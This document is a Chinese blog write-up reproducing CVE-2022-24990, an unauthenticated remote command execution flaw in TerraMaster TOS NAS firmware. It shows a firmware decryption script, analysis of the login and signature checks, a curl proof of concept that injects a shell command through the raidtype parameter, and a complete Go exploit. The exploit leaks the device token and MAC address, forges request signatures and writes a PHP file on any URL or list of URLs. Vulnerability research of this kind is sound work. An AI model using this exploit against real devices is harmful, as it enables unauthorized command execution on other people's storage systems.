玩命加载中 . . .

CVE-2022-24990TerraMaster TOS未授权远程命令执行漏洞复现


1.漏洞信息

2022年3月7日,互联网上公开了 TerraMaster TOS 的未授权远程命令执行漏洞,漏洞适用于所有 4.2.x 版本 < 4.2.30,以及所有 4.1.x 版本。

2.漏洞复现

2.1 源码的获取

官网目前已经无老版本的固件下载连接,需要到论坛获取下载连接

漏洞版本下载连接:https://download2.terra-master.com/TOS_S2.0_Install_JM33_4.2.15_2107221409_2107221412.ins

upload successful

需要解压,binwalk解压后

upload successful

upload successful

upload successful

upload successful

upload successful

打开源码发现,文件是加密的

upload successful

去看看有没有别人破解的

http://xibai.xyz/2022/02/24/%E9%93%81%E5%A8%81%E9%A9%ACF2-420-4-1-27%E5%9B%BA%E4%BB%B6%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/

https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63

upload successful

upload successful

upload successful

upload successful

upload successful

upload successful

upload successful

看了下大佬文章发现,是基于screw_aes项目改的

https://github.com/del-xiong/screw-plus 下载查看一下是在原有的基础上加了异或,但是不知道异或的数是多少,因为proc文件为空,尝试爆破这个异或的数值进行解密

解密脚本 记得改screw路径 和 解密目标文件

import os


def getAllSub(path, dirlist=[], filelist=[]):
    flist = os.listdir(path)
    for filename in flist:
        subpath = os.path.join(path, filename)
        if os.path.isdir(subpath):
            dirlist.append(subpath)  # 如果是文件夹,添加到文件夹列表中
            getAllSub(subpath, dirlist, filelist)  # 向子文件内递归
        if os.path.isfile(subpath):
            filelist.append(subpath)  # 如果是文件,添加到文件列表中
    return dirlist, filelist


def getSufFilePath(fileList, suffix):
    # print(len(fileList))
    for ff in fileList[:]:  # 这种写法可以避免循环判断删除时跳过一些项
        if not ff.endswith(suffix):
            fileList.remove(ff)


def ecryption(filename):
    head, tail = os.path.split(filename)
    filename2 = tail.split(".")[0]
    path = head + "/" + filename2 + "_decryption" + '.php'
    i = 0
    while(i < 256):
        with open(filename, 'rb') as f:
            debug_cipher = f.read()
            with open(path, 'wb') as o:
                o.write(debug_cipher[:32])
                for j in debug_cipher[32:]:
                    o.write((i ^ j).to_bytes(1, 'big'))
            f.close()
            o.close()
            os.system('/root/桌面/screw-plus-master/tools/screw ' + path + ' -d')
            with open(path, 'rb') as p:
                if p.read(5) == b'<?php':
                    print(i)
                    p.close()
                    break
                else:
                    i = i + 1


if __name__ == "__main__":
    path = r'/root/桌面/TOS4.2.31/TOS4.2.31/FILES/usr/www/'
    Dirlist, Filelist = getAllSub(path)
    getSufFilePath(Filelist, '.php')
    for FilePhp in Filelist:
        # print(FilePhp)
        ecryption(FilePhp)

解密结果是目标文件后加_decryption的php文件

upload successful

2.2 漏洞分析

查看poc

curl -vk 'http://XXXX/module/api.php?mobile/createRaid' -H 'User-Agent: TNAS' -H 'AUTHORIZATION: $1$2kc1Zqe8$gi6hkBlDDDFHpG3RkZtws1' -d 'raidtype=;id>/tmp/a.txt;&diskstring=XXXX' -H 'TIMESTAMP: 1642335373' -H 'SIGNATURE: 473a6d90ede9392eebd8a7995a0471fe' | jq -r

出现问题的是api.php

查看该文件

<?php
/**
 * Created by PhpStorm.
 * User: Jaylin
 * Date: 2017/2/28
 * Time: 14:19
 */
include_once "../include/app.php";
include_once "../include/function/mobile.php";

#关闭所有函数报错...
@error_reporting(0);

$default_controller = "mobile";
$default_action = "index";
$in = router();

$URI = $in['URLremote'];
if (!isset($URI[0]) || $URI[0] == '') $URI[0] = $default_controller;
if (!isset($URI[1]) || $URI[1] == '') $URI[1] = $default_action;
define('Module', $URI[0]);
define('Action', $URI[1]);
$class = Module;
$function = Action;
#定义不需要验证登录的方法...
$GLOBALS['NO_LOGIN_CHECK'] = array("webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected");

if (!in_array($function, $GLOBALS['NO_LOGIN_CHECK'])) {
    define('REQUEST_MODE', 1);
    //加载原始session
    if (isset($in['PHPSESSID']) && !empty($in['PHPSESSID'])) {
        session_id($in['PHPSESSID']);
        $GLOBALS['sessionid'] = $in['PHPSESSID'];
    }
    @session_start();
    @session_write_close();
    //初始化阵列
    $raid = new raid();
    $base_md = $raid->_main_disk();
    if (!empty($base_md)) {
        define('DATA_BASE', "$base_md/");
    } else {
        define('DATA_BASE', null);
    }
    define('USER_PATH', DATA_BASE . "User/"); //用户目录
    define('PUBLIC_PATH', DATA_BASE . "public/"); //公共目录
    define('DATA_THUMB', DATA_BASE . '@system/thumb/');//缩略图生成存放
} else {
    define('REQUEST_MODE', 0);
}
$instance = new $class();
if (!in_array($function, $class::$notHeader)) {
    #防止请求重放验证...
    if (tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300) {
        $instance->output("Illegal request, timeout!", 0);
    }
}
$instance->$function();

upload successful

upload successful

function stripslashes_deep($value){ 
    $value = is_array($value) ? array_map('stripslashes_deep', $value) : (isset($value) ? stripslashes($value) : null); 
    return $value;
}

继续看api.php

upload successful

upload successful

upload successful

首先看NO_LOGIN_CHECK 主要在判断是否需要登录判断

先看一下不需要登录的指定方法发现都在www\include\class\mobile_decryption.php这个文件的类中

upload successful

mobile_decryption.php

upload successful

先看下他的构造方法

//不检查是否登录..
static $notCheck = [
    "webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected",'createid',
    'user_create','user_bond','user_release','login', 'logout', 'checkCode', "wapNasIPS"
];
//不验证头信息是否匹配...
static $notHeader = ["fileDownload", "videoPlay", "imagesThumb", "imagesView", "fileUpload", "tempClear", "wapNasIPS", "webNasIPS", "isConnected"];
private static $U = null;
private static $filter = array(".", "..", ".svn", "lost+found", "aquota.group", "aquota.user");

function __construct()
{
    parent::__construct();
    $this->start = $this->mtime();

    if (isset($_SERVER['HTTP_USER_DEVICE']) && $_SERVER['HTTP_USER_DEVICE'] == "TNAS") $_SERVER['HTTP_USER_AGENT'] = "TNAS";
    //排除非法请求...
    if (!in_array(Action, self::$notHeader)) {
        if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) {
            $this->output("Illegal request, please use genuine software!", false);
        }
    }
    if (REQUEST_MODE) {
        if (DATA_BASE == null) {
            $this->output("main raid not exists", false);
        }
        //避免session不可写导致循环跳转
        if (!isset($_SESSION)) {
            $this->output("session write error!", false);
        } else {
            $this->user = &$_SESSION['kod_user'];
        }
        if (isset($this->in['PHPSESSID'])) {
            $this->sessionid = $this->in['PHPSESSID'];
        }
        #管理员接口
        if (in_array(Action, $this->noPermission)) {
            if ($this->user['role'] != "root") {
                $this->output("User [{$this->user['name']}] does not have permission!", false);
            }
        }
    }
    if (!in_array(Action, self::$notCheck)) {
        if (!$this->loginCheck()) {
            $this->output("login is timeout", 0);
        }
    }
    //初始化
    if (self::$U == null) self::$U = new person();
    if (self::$U->deamon()) {
        $this->output("user hasn't permission!", true, 0);
    }
}

upload successful

upload successful

所以这个$this->REQUESTCODE暂时没法去绕过

继续往下看

upload successful

目前还只能调用这两个数组中的指定方法,才能绕过指定的检测

$GLOBALS['NO_LOGIN_CHECK'] = array("webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected");
static $notHeader = ["fileDownload", "videoPlay", "imagesThumb", "imagesView", "fileUpload", "tempClear", "wapNasIPS", "webNasIPS", "isConnected"];

upload successful

notcheck数组

static $notCheck = [
    "webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected",'createid',
    'user_create','user_bond','user_release','login', 'logout', 'checkCode', "wapNasIPS"
];

upload successful

所以到此简单梳理一下

不在这个两个数组内需登录相关的验证

$GLOBALS[‘NO_LOGIN_CHECK’] = array(“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”);

static $notCheck = [
“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”,’createid’,
‘user_create’,’user_bond’,’user_release’,’login’, ‘logout’, ‘checkCode’, “wapNasIPS”
];

不在这个数组内的需要下面两个的检测

static $notHeader = [“fileDownload”, “videoPlay”, “imagesThumb”, “imagesView”, “fileUpload”, “tempClear”, “wapNasIPS”, “webNasIPS”, “isConnected”];

tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300)
if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) {

那么在均在三个数组内的发现只有下面个方法

webNasIPS isConnected

upload successful

upload successful

发现只能获取一些时间webNasIPS failed了进指定方法查看一下

upload successful

upload successful

upload successful

因为我们获得了$this->REQUESTCODE所以可以绕过

if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) {

还需要然后下面的才能使用其他的非notHeader 的方法

static $notHeader = [“fileDownload”, “videoPlay”, “imagesThumb”, “imagesView”, “fileUpload”, “tempClear”, “wapNasIPS”, “webNasIPS”, “isConnected”];

tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300)

主要这个tos_encrypt_str搜索并没有发现 时间上面我们已经可以可以获得了

upload successful

应该在php自定义拓展里面搜索定位一下

upload successful

upload successful

upload successful

跟踪get_mac_addr

upload successful

upload successful

因为mac地址webips可以知道,所以也可以进行绕过

tos_encrypt_str($_SERVER[‘HTTP_TIMESTAMP’]) != $_SERVER[‘HTTP_SIGNATURE’] || $_SERVER[‘REQUEST_TIME’] - $_SERVER[‘HTTP_TIMESTAMP’] > 300)

所以我们可以使用下面两个数组中共有的方法了,因为还有登录判断,只能找两个数组中公共的

$GLOBALS[‘NO_LOGIN_CHECK’] = array(“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”);

static $notCheck = [
“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”,’createid’,
‘user_create’,’user_bond’,’user_release’,’login’, ‘logout’, ‘checkCode’, “wapNasIPS”
];

有一下方法

webNasIPS getDiskList getInstallStat getIsConfigAdmin setAdminConfig isConnected createRaid

一个一个看

upload successful

upload successful

upload successful

upload successful

upload successful

upload successful

upload successful

upload successful

至此,完成了命令执行

梳理一下,通过webNasIPS可以获取$this->REQUESTCODE mac地址 系统时间

可以用于绕过

tos_encrypt_str $this->REQUESTCODE != $_SERVER[‘HTTP_AUTHORIZATION’]

便可以用其他方法,在createRaid方法发现$this->in[‘raidtype’]可控且传入了popen命令函数中

造成了命令执行

2.3 编写poc脚本

package main

import (
    "bufio"
    "crypto/md5"
    "flag"
    "fmt"
    "io"
    "io/ioutil"
    "net/http"
    "os"
    "regexp"
    "strings"
    "time"
)

func main()  {
    var url string;
    var pathfile string;

    flag.StringVar(&url, "u", "", "指定检测的目标的url")
    flag.StringVar(&pathfile,"f","","指定检测的目标的u文件路径")
    flag.Parse()
    if url != ""  {
        poc_getinfo(url)
    }
    if pathfile != "" {
        fi, err := os.Open(pathfile)
        if err != nil {
            fmt.Printf("Error: %s\n", err)
            return
        }
        defer fi.Close()

        br := bufio.NewReader(fi)
        for {
            a, _, c := br.ReadLine()
            if c == io.EOF {
                break
            }
            url = strings.TrimSpace(string(a))
            poc_getinfo(url)
        }

    }
    if url == "" && pathfile == ""{
            fmt.Printf("-h 查看命令")
    }
}
func poc_getinfo(Url string) {
    var targetUrl string
    if strings.HasSuffix(Url, "/") {
        targetUrl = Url +  "module/api.php?mobile/webNasIPS"
    } else {
        targetUrl = Url + "/module/api.php?mobile/webNasIPS"
    }
    //提交请求
    reqest, err := http.NewRequest("GET", targetUrl, nil)
    //增加header选项
    reqest.Header.Add("User-Agent", "TNAS")
    //处理返回结果
    cli := http.Client{ Timeout: 10*time.Second }
    response, err := cli.Do(reqest)
    if err != nil {
        fmt.Printf(targetUrl + "访问错误\n")
    }else {

        body,err := ioutil.ReadAll(response.Body)
        if err == nil{
            if strings.Contains(string(body),"webNasIPS successful"){
                fmt.Printf(targetUrl + "存在信息泄露\n")
                poc_execute(string(body),Url)
            }else {
                fmt.Printf(targetUrl + "不存在信息泄露\n")
            }
        }
        defer response.Body.Close()
    }
}
func  poc_execute(req string,targetUrl string)  {
    r := regexp.MustCompile(`"mac\\":\\"(.*?)\\"`)
    f := regexp.MustCompile(`PWD:(.*?)\\`)
    timestamp := string(time.Now().Unix())
    mac := r.FindStringSubmatch(req)
    macString := strings.Replace(mac[1], ":","",-1)
    macString = string([]rune(macString)[len([]rune(macString))-6:])
    authorization := f.FindStringSubmatch(req)
    data := []byte(macString + timestamp)
    has := md5.Sum(data)
    signature := fmt.Sprintf("%x", has)
    fmt.Println(authorization[1] + "\n" + signature)
    url:= targetUrl + "/module/api.php?mobile/createRaid"
    request, _ := http.NewRequest("POST", url, strings.NewReader("raidtype=;echo \"<?php phpinfo();?>\">phpinfo.php&diskstring=XXXX"))
    request.Header.Set("Authorization", authorization[1])
    request.Header.Set("Signature", signature)
    request.Header.Set("Timestamp", timestamp)
    request.Header.Set("User-Agent", "TNAS")
    request.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    client := &http.Client{}
    resp, _ := client.Do(request)
    defer resp.Body.Close()
    body, _ := ioutil.ReadAll(resp.Body)
    if strings.Contains(string(body),"successful"){
        fmt.Printf(targetUrl + "存在命令执行:" + targetUrl + "/module/phpinfo.php\n")
    }else {
        fmt.Printf(targetUrl + "不存在命令执行\n")
    }
}

upload successful

upload successful

3.最后

想看下4.2.32关于这个漏洞的修复,看不懂新的php_terra_master.so加密方式,没法继续看了

upload successful

upload successful

本人水平有限,如有错误还请大佬指点!

说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担


文章作者: Lmg
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lmg !
 本篇
CVE-2022-24990TerraMaster TOS未授权远程命令执行漏洞复现 CVE-2022-24990TerraMaster TOS未授权远程命令执行漏洞复现
1.漏洞信息2022年3月7日,互联网上公开了 TerraMaster TOS 的未授权远程命令执行漏洞,漏洞适用于所有 4.2.x 版本 < 4.2.30,以及所有 4.1.x 版本。 2.漏洞复现2.1 源码的获取官网目前已经无老
2022-06-10
下一篇 
利用php7-4新特性webshell 利用php7-4新特性webshell
1.前言看到一篇利用php7.1新特性webshell的文章感觉思路很好,https://cloud.tencent.com/developer/article/1593612 简单的测试,本文使用php7.4的新特性的webshell做一
2022-05-04
  目录